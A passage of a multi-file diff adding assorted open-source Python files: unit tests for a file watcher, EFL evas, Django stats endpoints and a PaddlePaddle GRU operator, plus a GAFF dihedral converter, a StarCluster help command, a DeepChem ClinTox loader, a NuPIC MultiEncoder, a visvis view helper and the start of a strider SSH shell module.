self.assertEqual(self.task.onFileCreated.call_args[0][0], 'foo', + self.task.onFileCreated.call_args) + + def test_file_delete(self): + self.test_file_create() + os.remove(self.testpath.join('foo')) + self.task.execute() + + self.assertTrue(self.task.onFileDeleted.called) + self.assertEqual(self.task.onFileDeleted.call_count, 1) + self.assertEqual(self.task.onFileDeleted.call_args[0][0], 'foo', + self.task.onFileDeleted.call_args) + + def test_file_update(self): + self.test_file_create() + + self.task.execute() + path = self.testpath.join('foo') + + # Run once to make sure we detect the current time for the files + self.task.execute() + + # Forcibly update the atime/mtime of the file + st = os.stat(path) + self.task.stat = self.mock.Mock() + self.task.stat.return_value = self.mock.NonCallableMock(wraps=st) + self.task.stat.return_value.st_atime = st.st_atime - 10 + self.task.stat.return_value.st_mtime = st.st_mtime - 10 + + self.task.execute() + self.task.stat.assert_called_with(path) + + st2 = self.task.stat() + self.assertEqual(st2.st_atime, st.st_atime - 10) + self.assertEqual(st2.st_mtime, st.st_mtime - 10) + + self.assertTrue(self.task.onFileChanged.called) + self.assertEqual(self.task.onFileChanged.call_count, 1) + self.assertEqual(self.task.onFileChanged.call_args[0][0], 'foo', + self.task.onFileChanged.call_args) + + def test_file_delete_race_condition(self): + self.test_file_create() + + self.task.stat = self.mock.Mock() + self.task.stat.side_effect = OSError(errno.ENOENT, 'Fake ENOENT') + self.task.execute() + + self.assertTrue(self.task.onFileDeleted.called) + + def test_nodirectory_ok(self): + # Call close() on the named directory to cleanup the directory + self.testpath.close() + + # Then, call execute() and make sure nothing blows up + self.task.execute() diff --git a/pool/shard008/Python/0078438_test_07_object_line.py b/pool/shard008/Python/0078438_test_07_object_line.py new file mode 100644 index 0000000000000000000000000000000000000000..ce960b4b445560e9bdf10291b14f15c9e92beb2c --- /dev/null +++ b/pool/shard008/Python/0078438_test_07_object_line.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python + +from efl import evas +import unittest + + +class TestLineBasics(unittest.TestCase): + def setUp(self): + self.canvas = evas.Canvas(method="buffer", + size=(400, 500), + viewport=(0, 0, 400, 500)) + self.canvas.engine_info_set(self.canvas.engine_info_get()) + + def tearDown(self): + self.canvas.delete() + del self.canvas + + def testConstructor(self): + o = evas.Line(self.canvas, start=(10, 20), end=(30, 40)) + self.assertEqual(type(o), evas.Line) + self.assertEqual(o.start_get(), (10, 20)) + self.assertEqual(o.end_get(), (30, 40)) + + +if __name__ == '__main__': + unittest.main(verbosity=2) + evas.shutdown() diff --git a/pool/shard008/Python/0078442_amberparm_dihedral_to_lt.py b/pool/shard008/Python/0078442_amberparm_dihedral_to_lt.py new file mode 100644 index 0000000000000000000000000000000000000000..8729e3fe166d87c90efc997304602f3d7ff3c5b5 --- /dev/null +++ b/pool/shard008/Python/0078442_amberparm_dihedral_to_lt.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python + +# SOME UGLY CODE HERE + +import sys + +lines_gaff = sys.stdin.readlines() +dihedral_style_name = 'fourier' +in_dihedral_coeffs = [] + + +for i in range(0, len(lines_gaff)): + line = lines_gaff[i] + atypes = line[:11].split('-') + atype1 = atypes[0].strip() + atype2 = atypes[1].strip() + atype3 = atypes[2].strip() + atype4 = atypes[3].strip() + at1 = atype1.replace('X','*') + at2 = atype2.replace('X','*') + at3 = atype3.replace('X','*') + at4 = atype4.replace('X','*') + dihedraltype = '@dihedral:'+atype1+'-'+atype2+'-'+atype3+'-'+atype4 + + tokens= line[11:].split() + npth = float(tokens[0]) + Kn = float(tokens[1]) + Kn /= npth # The coeff for each fourier term is Kn/npth + # ...I THINK (?). (Very confusing. See documentation below...) + dn = float(tokens[2]) + n = int(float(tokens[3])) + comments=' # '+(' '.join(tokens[4:])) + in_dihedral_coeffs.append([dihedraltype, Kn, n, dn, comments]) + #print(Kn, n, dn) + +#for entry in in_dihedral_coeffs: +# print(entry) +#exit() + + +# ---- processing dihedral fourier series ---- +# ---- (negative "n" values means the +# ---- Fourier series is not yet complete. + +i = 0 +while i < len(in_dihedral_coeffs): + type_str = in_dihedral_coeffs[i][0] + Kn = in_dihedral_coeffs[i][1] + n = in_dihedral_coeffs[i][2] + dn = in_dihedral_coeffs[i][3] + + #if (i>0): + # sys.stderr.write('prev_n='+str(in_dihedral_coeffs[i-1][-3])+'\n') + #sys.stderr.write('n='+str(n)+'\n') + + if ((i>0) and (in_dihedral_coeffs[i-1][-3] < 0)): + + #sys.stdout.write('interaction_before_append: '+str(in_dihedral_coeffs[i-1])+'\n') + assert(in_dihedral_coeffs[i-1][0] == in_dihedral_coeffs[i][0]) + in_dihedral_coeffs[i-1][-3] = -in_dihedral_coeffs[i-1][-3] + comments = in_dihedral_coeffs[i-1][-1] + in_dihedral_coeffs[i-1][-1] = Kn + in_dihedral_coeffs[i-1].append(n) + in_dihedral_coeffs[i-1].append(dn) + in_dihedral_coeffs[i-1].append(comments) + #sys.stdout.write('interaction_after_append: '+str(in_dihedral_coeffs[i-1])+'\n') + del in_dihedral_coeffs[i] + + #elif len(in_dihedral_coeffs) < 3: + # del in_dihedral_coeffs[i] + else: + i += 1 + + + +for i in range(0, len(in_dihedral_coeffs)): + type_str = in_dihedral_coeffs[i][0] + params = in_dihedral_coeffs[i][1:] + params = map(str, params) + num_fourier_terms = (len(params)-1)/3 + dihedral_coeff_str = 'dihedral_coeff '+type_str+' '+\ + dihedral_style_name+' '+ \ + str(num_fourier_terms)+' '+ \ + ' '.join(params) + in_dihedral_coeffs[i] = dihedral_coeff_str + +# ---- finished processing dihedral fourier series ---- + + +sys.stdout.write(' write_once(\"In Settings\") {\n ') +sys.stdout.write('\n '.join(in_dihedral_coeffs)+'\n') +sys.stdout.write(' } # (end of dihedral_coeffs)\n') + + + + + +sys.stdout.write('\n') + +sys.stdout.write(' write_once("Data Dihedrals By Type") {\n') + +for i in range(0, len(lines_gaff)): + line = lines_gaff[i] + atypes = line[:11].split('-') + atype1 = atypes[0].strip() + atype2 = atypes[1].strip() + atype3 = atypes[2].strip() + atype4 = atypes[3].strip() + at1 = atype1.replace('X','*') + at2 = atype2.replace('X','*') + at3 = atype3.replace('X','*') + at4 = atype4.replace('X','*') + dihedraltype = '@dihedral:'+atype1+'-'+atype2+'-'+atype3+'-'+atype4 + + sys.stdout.write(' '+dihedraltype+' @atom:'+at1+' @atom:'+at2+' @atom:'+at3+' @atom:'+at4+'\n') + +sys.stdout.write(' } # (end of Dihedrals By Type)\n') +sys.stdout.write('\n') + + +""" + - 6 - ***** INPUT FOR DIHEDRAL PARAMETERS ***** + + IPT , JPT , KPT , LPT , IDIVF , PK , PHASE , PN + + FORMAT(A2,1X,A2,1X,A2,1X,A2,I4,3F15.2) + + IPT, ... The atom symbols for the atoms forming a dihedral + angle. If IPT .eq. 'X ' .and. LPT .eq. 'X ' then + any dihedrals in the system involving the atoms "JPT" and + and "KPT" are assigned the same parameters. This is + called the general dihedral type and is of the form + "X "-"JPT"-"KPT"-"X ". + + IDIVF The factor by which the torsional barrier is divided. + Consult Weiner, et al., JACS 106:765 (1984) p. 769 for + details. Basically, the actual torsional potential is + + (PK/IDIVF) * (1 + cos(PN*phi - PHASE)) + + PK The barrier height divided by a factor of 2. + + PHASE The phase shift angle in the torsional function. + + The unit is degrees. + + PN The periodicity of the torsional barrier. + NOTE: If PN .lt. 0.0 then the torsional potential + is assumed to have more than one term, and the + values of the rest of the terms are read from the + next cards until a positive PN is encountered. The + negative value of pn is used only for identifying + the existence of the next term and only the + absolute value of PN is kept. + + The input is terminated by a blank card. +""" diff --git a/pool/shard008/Python/0078444_help.py b/pool/shard008/Python/0078444_help.py new file mode 100644 index 0000000000000000000000000000000000000000..6eb1d63f922c333d44c9b640da7f8ae0a7b66806 --- /dev/null +++ b/pool/shard008/Python/0078444_help.py @@ -0,0 +1,43 @@ +# Copyright 2009-2014 Justin Riley +# +# This file is part of StarCluster. +# +# StarCluster is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the Free +# Software Foundation, either version 3 of the License, or (at your option) any +# later version. +# +# StarCluster is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more +# details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with StarCluster. If not, see . + +import optparse + +from base import CmdBase + + +class CmdHelp(CmdBase): + """ + help + + Show StarCluster usage + """ + names = ['help'] + + def execute(self, args): + if args: + cmdname = args[0] + try: + sc = self.subcmds_map[cmdname] + lparser = optparse.OptionParser(sc.__doc__.strip()) + if hasattr(sc, 'addopts'): + sc.addopts(lparser) + lparser.print_help() + except KeyError: + raise SystemExit("Error: invalid command '%s'" % cmdname) + else: + self.gparser.parse_args(['--help']) diff --git a/pool/shard008/Python/0078451_clintox_datasets.py b/pool/shard008/Python/0078451_clintox_datasets.py new file mode 100644 index 0000000000000000000000000000000000000000..a83628e52edcd3d1381bf0f93f71983466435355 --- /dev/null +++ b/pool/shard008/Python/0078451_clintox_datasets.py @@ -0,0 +1,97 @@ +""" +Clinical Toxicity (clintox) dataset loader. +@author Caleb Geniesse +""" +import os +import deepchem as dc +from deepchem.molnet.load_function.molnet_loader import TransformerGenerator, _MolnetLoader +from deepchem.data import Dataset +from typing import List, Optional, Tuple, Union + +CLINTOX_URL = "https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/clintox.csv.gz" +CLINTOX_TASKS = ['FDA_APPROVED', 'CT_TOX'] + + +class _ClintoxLoader(_MolnetLoader): + + def create_dataset(self) -> Dataset: + dataset_file = os.path.join(self.data_dir, "clintox.csv.gz") + if not os.path.exists(dataset_file): + dc.utils.data_utils.download_url(url=CLINTOX_URL, dest_dir=self.data_dir) + loader = dc.data.CSVLoader( + tasks=self.tasks, feature_field="smiles", featurizer=self.featurizer) + return loader.create_dataset(dataset_file, shard_size=8192) + + +def load_clintox( + featurizer: Union[dc.feat.Featurizer, str] = 'ECFP', + splitter: Union[dc.splits.Splitter, str, None] = 'scaffold', + transformers: List[Union[TransformerGenerator, str]] = ['balancing'], + reload: bool = True, + data_dir: Optional[str] = None, + save_dir: Optional[str] = None, + **kwargs +) -> Tuple[List[str], Tuple[Dataset, ...], List[dc.trans.Transformer]]: + """Load ClinTox dataset + + The ClinTox dataset compares drugs approved by the FDA and + drugs that have failed clinical trials for toxicity reasons. + The dataset includes two classification tasks for 1491 drug + compounds with known chemical structures: + + #. clinical trial toxicity (or absence of toxicity) + #. FDA approval status. + + List of FDA-approved drugs are compiled from the SWEETLEAD + database, and list of drugs that failed clinical trials for + toxicity reasons are compiled from the Aggregate Analysis of + ClinicalTrials.gov(AACT) database. + + Random splitting is recommended for this dataset. + + The raw data csv file contains columns below: + + - "smiles" - SMILES representation of the molecular structure + - "FDA_APPROVED" - FDA approval status + - "CT_TOX" - Clinical trial results + + Parameters + ---------- + featurizer: Featurizer or str + the featurizer to use for processing the data. Alternatively you can pass + one of the names from dc.molnet.featurizers as a shortcut. + splitter: Splitter or str + the splitter to use for splitting the data into training, validation, and + test sets. Alternatively you can pass one of the names from + dc.molnet.splitters as a shortcut. If this is None, all the data + will be included in a single dataset. + transformers: list of TransformerGenerators or strings + the Transformers to apply to the data. Each one is specified by a + TransformerGenerator or, as a shortcut, one of the names from + dc.molnet.transformers. + reload: bool + if True, the first call for a particular featurizer and splitter will cache + the datasets to disk, and subsequent calls will reload the cached datasets. + data_dir: str + a directory to save the raw data in + save_dir: str + a directory to save the dataset in + + References + ---------- + .. [1] Gayvert, Kaitlyn M., Neel S. Madhukar, and Olivier Elemento. + "A data-driven approach to predicting successes and failures of clinical + trials." + Cell chemical biology 23.10 (2016): 1294-1301. + .. [2] Artemov, Artem V., et al. "Integrated deep learned transcriptomic and + structure-based predictor of clinical trials outcomes." bioRxiv (2016): + 095653. + .. [3] Novick, Paul A., et al. "SWEETLEAD: an in silico database of approved + drugs, regulated chemicals, and herbal isolates for computer-aided drug + discovery." PloS one 8.11 (2013): e79568. + .. [4] Aggregate Analysis of ClincalTrials.gov (AACT) Database. + https://www.ctti-clinicaltrials.org/aact-database + """ + loader = _ClintoxLoader(featurizer, splitter, transformers, CLINTOX_TASKS, + data_dir, save_dir, **kwargs) + return loader.load_dataset('clintox', reload) diff --git a/pool/shard008/Python/0078453_stats.py b/pool/shard008/Python/0078453_stats.py new file mode 100644 index 0000000000000000000000000000000000000000..afa9d8c9f3739fca416a2f71e748cd314cedbfb9 --- /dev/null +++ b/pool/shard008/Python/0078453_stats.py @@ -0,0 +1,137 @@ +import json +from django.core.cache import cache +from restlib2.http import codes +from tests.models import Title +from .base import BaseTestCase, TransactionBaseTestCase + + +class StatsResourceTestCase(BaseTestCase): + def setUp(self): + super(StatsResourceTestCase, self).setUp() + + def test_get(self): + response = self.client.get('/api/stats/', + HTTP_ACCEPT='application/json') + + self.assertEqual(response.status_code, codes.ok) + self.assertEqual(response['Link'], ( + '; rel="self", ' + '; rel="counts"' + )) + + +class CountStatsResourceTestCase(TransactionBaseTestCase): + def setUp(self): + super(CountStatsResourceTestCase, self).setUp() + cache.clear() + + def test_get(self): + response = self.client.get('/api/stats/counts/', + HTTP_ACCEPT='application/json') + + self.assertEqual(response.status_code, codes.ok) + + self.assertEqual(json.loads(response.content), [{ + 'app_name': 'tests', + 'model_name': 'project', + 'verbose_name': 'Project', + 'verbose_name_plural': 'Projects', + 'count': 3, + }, { + 'app_name': 'tests', + 'model_name': 'title', + 'verbose_name': 'Title', + 'verbose_name_plural': 'Titles', + 'count': 7, + }]) + + def test_get_query_processor(self): + response = self.client.get('/api/stats/counts/?processor=first_two', + HTTP_ACCEPT='application/json') + + self.assertEqual(response.status_code, codes.ok) + + self.assertEqual(json.loads(response.content), [{ + 'app_name': 'tests', + 'model_name': 'project', + 'verbose_name': 'Project', + 'verbose_name_plural': 'Projects', + 'count': 2, + }, { + 'app_name': 'tests', + 'model_name': 'title', + 'verbose_name': 'Title', + 'verbose_name_plural': 'Titles', + 'count': 2, + }]) + + def test_post_aware(self): + context = { + 'field': 'tests.title.salary', + 'operator': 'gt', + 'value': 15000, + } + + response = self.client.post('/api/stats/counts/?aware=true', + data=json.dumps({'context': context}), + content_type='application/json', + HTTP_ACCEPT='application/json') + + self.assertEqual(response.status_code, codes.ok) + + self.assertEqual(json.loads(response.content), [{ + 'app_name': 'tests', + 'model_name': 'project', + 'verbose_name': 'Project', + 'verbose_name_plural': 'Projects', + 'count': 3, + }, { + 'app_name': 'tests', + 'model_name': 'title', + 'verbose_name': 'Title', + 'verbose_name_plural': 'Titles', + 'count': 3, + }]) + + def test_cache(self): + # Populate cache + self.client.get('/api/stats/counts/', HTTP_ACCEPT='application/json') + + # Add another instance to alter count + Title(name='DevOps').save() + + response = self.client.get('/api/stats/counts/', + HTTP_ACCEPT='application/json') + + # Still old counts + self.assertEqual(json.loads(response.content), [{ + 'app_name': 'tests', + 'model_name': 'project', + 'verbose_name': 'Project', + 'verbose_name_plural': 'Projects', + 'count': 3, + }, { + 'app_name': 'tests', + 'model_name': 'title', + 'verbose_name': 'Title', + 'verbose_name_plural': 'Titles', + 'count': 7, + }]) + + response = self.client.get('/api/stats/counts/?refresh=1', + HTTP_ACCEPT='application/json') + + # Refreshed counts + self.assertEqual(json.loads(response.content), [{ + 'app_name': 'tests', + 'model_name': 'project', + 'verbose_name': 'Project', + 'verbose_name_plural': 'Projects', + 'count': 3, + }, { + 'app_name': 'tests', + 'model_name': 'title', + 'verbose_name': 'Title', + 'verbose_name_plural': 'Titles', + 'count': 8, + }]) diff --git a/pool/shard008/Python/0078454_multi.py b/pool/shard008/Python/0078454_multi.py new file mode 100644 index 0000000000000000000000000000000000000000..2a98366db8a3f271e761361f9134fe49b19e2824 --- /dev/null +++ b/pool/shard008/Python/0078454_multi.py @@ -0,0 +1,212 @@ +# ---------------------------------------------------------------------- +# Numenta Platform for Intelligent Computing (NuPIC) +# Copyright (C) 2013, Numenta, Inc. Unless you have an agreement +# with Numenta, Inc., for a separate license for this software code, the +# following terms and conditions apply: +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero Public License version 3 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU Affero Public License for more details. +# +# You should have received a copy of the GNU Affero Public License +# along with this program. If not, see http://www.gnu.org/licenses. +# +# http://numenta.org/licenses/ +# ---------------------------------------------------------------------- + +from nupic.encoders.base import Encoder +from nupic.encoders.scalar import ScalarEncoder +from nupic.encoders.adaptivescalar import AdaptiveScalarEncoder +from nupic.encoders.date import DateEncoder +from nupic.encoders.logenc import LogEncoder +from nupic.encoders.category import CategoryEncoder +from nupic.encoders.sdrcategory import SDRCategoryEncoder +from nupic.encoders.delta import DeltaEncoder +from nupic.encoders.scalarspace import ScalarSpaceEncoder +from nupic.encoders.pass_through_encoder import PassThroughEncoder +from nupic.encoders.sparse_pass_through_encoder import SparsePassThroughEncoder +from nupic.encoders.coordinate import CoordinateEncoder +from nupic.encoders.geospatial_coordinate import GeospatialCoordinateEncoder +# multiencoder must be imported last because it imports * from this module! +from nupic.encoders.utils import bitsToString +from nupic.encoders.random_distributed_scalar import RandomDistributedScalarEncoder + + + +# Map class to Cap'n Proto schema union attribute +_CLASS_ATTR_MAP = { + ScalarEncoder: "scalarEncoder", + AdaptiveScalarEncoder: "adaptivescalar", + DateEncoder: "dateEncoder", + LogEncoder: "logEncoder", + CategoryEncoder: "categoryEncoder", + CoordinateEncoder: "coordinateEncoder", + SDRCategoryEncoder: "sdrCategoryEncoder", + DeltaEncoder: "deltaEncoder", + PassThroughEncoder: "passThroughEncoder", + SparsePassThroughEncoder: "sparsePassThroughEncoder", + RandomDistributedScalarEncoder: "randomDistributedScalarEncoder" +} + +# Invert for fast lookup in MultiEncoder.read() +_ATTR_CLASS_MAP = {value:key for key, value in _CLASS_ATTR_MAP.items()} + + + + +class MultiEncoder(Encoder): + """A MultiEncoder encodes a dictionary or object with + multiple components. A MultiEncode contains a number + of sub-encoders, each of which encodes a separate component.""" + # TODO expand this docstring to explain how the multiple encoders are combined + + + def __init__(self, encoderDescriptions=None): + self.width = 0 + self.encoders = [] + self.description = [] + self.name = '' + if encoderDescriptions is not None: + self.addMultipleEncoders(encoderDescriptions) + + + def setFieldStats(self, fieldName, fieldStatistics ): + for (name, encoder, offset) in self.encoders: + encoder.setFieldStats(name, fieldStatistics) + + + def addEncoder(self, name, encoder): + self.encoders.append((name, encoder, self.width)) + for d in encoder.getDescription(): + self.description.append((d[0], d[1] + self.width)) + self.width += encoder.getWidth() + + self._flattenedEncoderList = None + self._flattenedFieldTypeList = None + + + def encodeIntoArray(self, obj, output): + for name, encoder, offset in self.encoders: + encoder.encodeIntoArray(self._getInputValue(obj, name), output[offset:]) + + + def getDescription(self): + return self.description + + + def getWidth(self): + """Represents the sum of the widths of each fields encoding.""" + return self.width + + def setLearning(self,learningEnabled): + encoders = self.getEncoderList() + for encoder in encoders: + encoder.setLearning(learningEnabled) + return + + + def encodeField(self, fieldName, value): + for name, encoder, offset in self.encoders: + if name == fieldName: + return encoder.encode(value) + + + def encodeEachField(self, inputRecord): + encodings = [] + for name, encoder, offset in self.encoders: + encodings.append(encoder.encode(getattr(inputRecord, name))) + return encodings + + + def addMultipleEncoders(self, fieldEncodings): + """ + fieldEncodings -- a dict of dicts, mapping field names to the field params + dict. + + Each field params dict has the following keys + 1) data fieldname that matches the key ('fieldname') + 2) an encoder type ('type') + 3) and the encoder params (all other keys) + + For example, + fieldEncodings={ + 'dateTime': dict(fieldname='dateTime', type='DateEncoder', + timeOfDay=(5,5)), + 'attendeeCount': dict(fieldname='attendeeCount', type='ScalarEncoder', + name='attendeeCount', minval=0, maxval=250, + clipInput=True, w=5, resolution=10), + 'consumption': dict(fieldname='consumption',type='ScalarEncoder', + name='consumption', minval=0,maxval=110, + clipInput=True, w=5, resolution=5), + } + + would yield a vector with a part encoded by the DateEncoder, + and to parts seperately taken care of by the ScalarEncoder with the specified parameters. + The three seperate encodings are then merged together to the final vector, in such a way that + they are always at the same location within the vector. + """ + + # Sort the encoders so that they end up in a controlled order + encoderList = sorted(fieldEncodings.items()) + for key, fieldParams in encoderList: + if ':' not in key and fieldParams is not None: + fieldParams = fieldParams.copy() + fieldName = fieldParams.pop('fieldname') + encoderName = fieldParams.pop('type') + try: + self.addEncoder(fieldName, eval(encoderName)(**fieldParams)) + except TypeError, e: + print ("#### Error in constructing %s encoder. Possibly missing " + "some required constructor parameters. Parameters " + "that were provided are: %s" % (encoderName, fieldParams)) + raise + + + @classmethod + def read(cls, proto): + encoder = object.__new__(cls) + + encoder.encoders = [None] * len(proto.encoders) + + encoder.width = 0 + + for index, encoderProto in enumerate(proto.encoders): + # Identify which attr is set in union + encoderType = encoderProto.which() + + encoderDetails = getattr(encoderProto, encoderType) + encoder.encoders[index] = ( + encoderProto.name, + # Call class.read() where class is determined by _ATTR_CLASS_MAP + _ATTR_CLASS_MAP.get(encoderType).read(encoderDetails), + encoderProto.offset + ) + + encoder.width += encoder.encoders[index][1].getWidth() + + # Derive description from encoder list + encoder.description = [(enc[1].name, enc[2]) for enc in encoder.encoders] + encoder.name = proto.name + + return encoder + + + def write(self, proto): + + proto.init("encoders", len(self.encoders)) + + for index, (name, encoder, offset) in enumerate(self.encoders): + encoderProto = proto.encoders[index] + encoderType = _CLASS_ATTR_MAP.get(encoder.__class__) + encoderProto.init(encoderType) + encoderDetails = getattr(encoderProto, encoderType) + encoder.write(encoderDetails) + encoderProto.name = name + encoderProto.offset = offset + + proto.name = self.name diff --git a/pool/shard008/Python/0078469_test_gru_op.py b/pool/shard008/Python/0078469_test_gru_op.py new file mode 100644 index 0000000000000000000000000000000000000000..f61a447fd77d001c1a9c42c46ba9a0d747e926ec --- /dev/null +++ b/pool/shard008/Python/0078469_test_gru_op.py @@ -0,0 +1,186 @@ +# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from __future__ import print_function + +import unittest +import numpy as np +import math +import functools +from op_test import OpTest +from test_lstm_op import ACTIVATION + + +def gru( + input, # T x 3D + lod, # 1 x N + h0, # N x D + weight, # D x 3D + bias, # 1 x 3D + is_reverse, + act_state, + act_gate, + dtype='float32'): + def _seq_to_batch(lod, is_reverse): + idx_in_seq_list = [] + seq_lens = lod[0] + seq_starts = [0] + for i in range(len(seq_lens)): + seq_starts.append(seq_starts[-1] + seq_lens[i]) + sorted_seqs = sorted( + list(range(len(seq_lens))), + key=functools.cmp_to_key(lambda x, y: seq_lens[y] - seq_lens[x])) + num_batch = seq_lens[sorted_seqs[0]] + for batch_idx in range(num_batch): + idx_in_seq = [] + for i in range(len(seq_lens)): + if seq_lens[sorted_seqs[i]] <= batch_idx: + break + idx = (seq_starts[sorted_seqs[i] + 1] - 1 - batch_idx + ) if is_reverse else ( + seq_starts[sorted_seqs[i]] + batch_idx) + idx_in_seq.append(idx) + idx_in_seq_list.append(idx_in_seq) + return idx_in_seq_list, sorted_seqs + + def _step(x, h_p, w, b, act_state, act_gate): + T = x.shape[0] + D = w.shape[0] + g = x + np.tile(b, (T, 1)) + w_u_r = w.flatten()[:D * D * 2].reshape((D, D * 2)) + u_r = act_gate(np.dot(h_p, w_u_r) + g[:, :D * 2]) + u = u_r[:, :D] + r = u_r[:, D:D * 2] + r_h_p = r * h_p + w_c = w.flatten()[D * D * 2:].reshape((D, D)) + c = act_state(np.dot(r_h_p, w_c) + g[:, D * 2:]) + g = np.hstack((u_r, c)) + h = u * c + (1 - u) * h_p + return g, r_h_p, h + + T = sum(lod[0]) + N = len(lod[0]) + D = weight.shape[0] + batch_gate = np.zeros((T, 3 * D), dtype=dtype) + batch_reset_hidden_prev = np.zeros((T, D), dtype=dtype) + batch_hidden = np.zeros((T, D), dtype=dtype) + hidden = np.zeros((T, D), dtype=dtype) + + idx_in_seq_list, sorted_seqs = _seq_to_batch(lod, is_reverse) + h_p = h0[sorted_seqs] + max_seq_len = len(idx_in_seq_list) + assert len(idx_in_seq_list[0]) == N + end_idx = 0 + for batch_idx in range(max_seq_len): + x = input[idx_in_seq_list[batch_idx]] + g, r_h_p, h = _step(x, h_p, weight, bias, act_state, act_gate) + if batch_idx < (max_seq_len - 1): + h_p = h[:len(idx_in_seq_list[batch_idx + 1])] + start_idx = end_idx + end_idx = start_idx + len(idx_in_seq_list[batch_idx]) + batch_gate[start_idx:end_idx] = g + batch_reset_hidden_prev[start_idx:end_idx] = r_h_p + batch_hidden[start_idx:end_idx] = h + hidden[idx_in_seq_list[batch_idx]] = h + return batch_gate, batch_reset_hidden_prev, batch_hidden, hidden + + +class TestGRUOp(OpTest): + def set_confs(self): + pass + + def setUp(self): + self.op_type = "gru" + self.lod = [[2, 4, 3]] + self.D = 5 + self.is_reverse = False + self.with_h0 = True + self.with_bias = True + self.act_state = 'tanh' + self.act_gate = 'sigmoid' + self.dtype = 'float64' + self.set_confs() + + T = sum(self.lod[0]) + N = len(self.lod[0]) + + input = np.random.rand(T, 3 * self.D).astype(self.dtype) + weight = np.random.rand(self.D, 3 * self.D).astype(self.dtype) + bias = np.random.rand( + 1, 3 * self.D).astype(self.dtype) if self.with_bias else np.zeros( + (1, 3 * self.D), dtype=self.dtype) + h0 = np.random.rand( + N, self.D).astype(self.dtype) if self.with_h0 else np.zeros( + (N, self.D), dtype=self.dtype) + + batch_gate, batch_reset_hidden_prev, batch_hidden, hidden = gru( + input, self.lod, h0, weight, bias, self.is_reverse, + ACTIVATION[self.act_state], ACTIVATION[self.act_gate], self.dtype) + self.inputs = {'Input': (input, self.lod), 'Weight': weight} + + if self.with_bias: + self.inputs['Bias'] = bias + + if self.with_h0: + self.inputs['H0'] = h0 + + self.outputs = { + 'Hidden': (hidden, self.lod), + 'BatchGate': batch_gate, + 'BatchResetHiddenPrev': batch_reset_hidden_prev, + 'BatchHidden': batch_hidden, + } + + self.attrs = { + 'activation': self.act_state, + 'gate_activation': self.act_gate, + 'is_reverse': self.is_reverse + } + + def test_check_output(self): + self.check_output(atol=1e-8) + + def test_check_grad(self): + self.check_grad(['Input', 'H0', 'Weight', 'Bias'], ['Hidden']) + + +class TestGRUOp2(TestGRUOp): + def set_confs(self): + self.D = 19 + self.dtype = 'float32' + + +class TestGRUOpNoInitial(TestGRUOp): + def set_confs(self): + self.with_h0 = False + + def test_check_grad(self): + self.check_grad(['Input', 'Weight', 'Bias'], ['Hidden']) + + +class TestGRUOpNoBias(TestGRUOp): + def set_confs(self): + self.with_bias = False + + def test_check_grad(self): + self.check_grad(['Input', 'H0', 'Weight'], ['Hidden']) + + +class TestGRUOpReverse(TestGRUOp): + def set_confs(self): + self.is_reverse = True + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard008/Python/0078474_view.py b/pool/shard008/Python/0078474_view.py new file mode 100644 index 0000000000000000000000000000000000000000..f208faca165cf44429ab0b328d0e5622363cc768 --- /dev/null +++ b/pool/shard008/Python/0078474_view.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- +# Copyright (C) 2012, Robert Schroll +# +# Visvis is distributed under the terms of the (new) BSD License. +# The full license can be found in 'license.txt'. + +import visvis as vv + +def view(viewparams=None, axes=None, **kw): + """ view(viewparams=None, axes=None, **kw) + + Get or set the view parameters for the given axes. + + Parameters + ---------- + viewparams : dict + View parameters to set. + axes : Axes instance + The axes the view parameters are for. Uses the current axes by default. + keyword pairs + View parameters to set. These take precidence. + + If neither viewparams or any keyword pairs are given, returns the current + view parameters (as a dict). Otherwise, sets the view parameters given. + """ + + if axes is None: + axes = vv.gca() + + if viewparams or kw: + axes.SetView(viewparams, **kw) + else: + return axes.GetView() + + +if __name__=='__main__': + a = vv.gca() + vv.solidTeapot() + v = vv.view() + # ... rotate the figure a bit and then call: + vv.view(v) + # Note that a.GetView() and a.SetView(v) are equivalent diff --git a/pool/shard008/Python/0078475_shell.py b/pool/shard008/Python/0078475_shell.py new file mode 100644 index 0000000000000000000000000000000000000000..b6a7d9455c419babf3bfb358f83169dce3768d27 --- /dev/null +++ b/pool/shard008/Python/0078475_shell.py @@ -0,0 +1,192 @@ +# Copyright 2015 Michael DeHaan +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import strider.utils.logger +from strider.common.commands import invoke +from strider.common.instance_data import InstanceData +import os +import socket +import time + +SSH_CANARY = "_ssh_availability_test_" # string used in SSH connectivity checks +SSH_RETRY = 10 # how long to wait per check iteration +SSH_CONNECT_TIMEOUT = 10 + +class Shell(object): + + def __init__(self, copy_from=None, copy_to=None, commands=None): + + self.log = strider.utils.logger.get_logger('SHELL') + + self.copy_from = copy_from + self.copy_to = copy_to + + self.commands = commands + + # track whether we've waited for SSH yet + self.waited = False + + if self.commands is None: + self.commands = [] + + # backwards compatibility + if self.copy_from and self.copy_to: + log("WARNING: copy_from and copy_to are deprecated, see the new example on github") + self.commands.insert(0, dict( + type = "copy", + copy_from = self.copy_from, + copy_to = self.copy_to + 